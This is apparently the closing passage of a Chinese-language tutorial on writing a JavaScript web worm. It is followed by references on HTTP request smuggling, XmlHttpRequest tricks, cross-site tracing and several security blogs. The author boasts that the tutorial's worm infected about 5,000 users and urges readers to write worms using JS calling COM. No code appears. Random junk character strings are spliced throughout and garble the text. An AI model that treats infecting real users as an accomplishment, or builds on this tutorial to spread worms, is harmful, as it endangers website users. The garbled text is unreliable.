, F$ Z3 N) w4 M5 p: {本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
" j1 W3 C4 ~9 W3 p9 Z操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

, H# R8 s6 i( I3 g2 x. {* i


; k. G( T- A# P2 J8 ]! K, Y


- l/ |2 i, T) r; b' {5 K9 a
本文引用文档资料:
" \5 L  @! f" F: \$ b
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
9 r0 ]8 l5 P+ jOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
: U, O  _0 B# fhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
; m8 t. V- s) ]6 ]. v& f空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/